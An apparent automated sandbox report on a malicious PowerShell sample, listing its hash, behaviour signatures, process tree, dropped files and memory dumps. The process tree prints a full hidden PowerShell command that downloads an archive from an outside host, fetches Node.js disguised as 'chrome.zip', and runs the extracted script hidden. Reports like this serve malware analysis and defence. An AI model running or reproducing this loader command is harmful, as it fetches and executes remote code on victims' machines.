Analysis
- max time kernel
150s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/07/2026, 02:26
General
- Target 1.ps1
- Size 879B
- Sample260710-cw75jsds9z
- SHA256 6c7ce7aa95e6cf8765b143cf10e1abd5d019b0ba16dd793e2e0f06946cd94e4a
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EP Bypass -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://autoupdatet.com/get_update?i=117028' -OutFile 'Update.zip' -UseBasicParsing -TimeoutSec 300;Invoke-WebRequest -Uri 'https://nodejs.org/dist/v7.10.1/node-v7.10.1-win-x64.zip' -OutFile 'chrome.zip' -UseBasicParsing -TimeoutSec 300;Expand-Archive 'chrome.zip' -DestinationPath 'C:\ProgramData\' -Force; Expand-Archive 'Update.zip' -DestinationPath 'C:\ProgramData\' -Force; Start-Process 'C:\ProgramData\node-v7.10.1-win-x64\node.exe' -ArgumentList 'C:\ProgramData\Update.js' -WindowStyle Hidden;2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
LICENSE
.npmignore
LICENSE
README.md
minimatch.js
README.md
index.js
.npmignore
LICENSE.md
README.md
index.js
.travis.yml
README.markdown
map.js
index.js
map.js
license
LICENSE
LICENSE.txt
LICENSE
LICENSE
.travis.yml
.npmignore
.travis.yml
.travis.yml
.npmignore
StartupProfileData-NonInteractive
__PSScriptPolicyTest_e3v5xpce.l4z.ps1
memory/928-0-0x00007FF914D7F000-0x00007FF914D80000-memory.dmp
memory/928-16-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-13-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-11-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-10-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-9-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-8-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-7-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-6-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-5-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-4-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/928-3-0x00000214B37B0000-0x00000214B37D2000-memory.dmp
memory/4188-23-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-408-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-377-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-51-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-50-0x0000023EF0540000-0x0000023EF054A000-memory.dmp
memory/4188-49-0x0000023EF0550000-0x0000023EF0562000-memory.dmp
memory/4188-48-0x0000023EF0540000-0x0000023EF054A000-memory.dmp
memory/4188-47-0x0000023EF0570000-0x0000023EF0622000-memory.dmp
memory/4188-46-0x0000023EF0550000-0x0000023EF056E000-memory.dmp
memory/4188-43-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-36-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-35-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-34-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-33-0x0000023EF0500000-0x0000023EF052D000-memory.dmp
memory/4188-32-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-31-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-29-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-28-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-27-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-26-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-25-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-24-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-22-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-21-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/4188-20-0x00007FF914BF0000-0x00007FF915594000-memory.dmp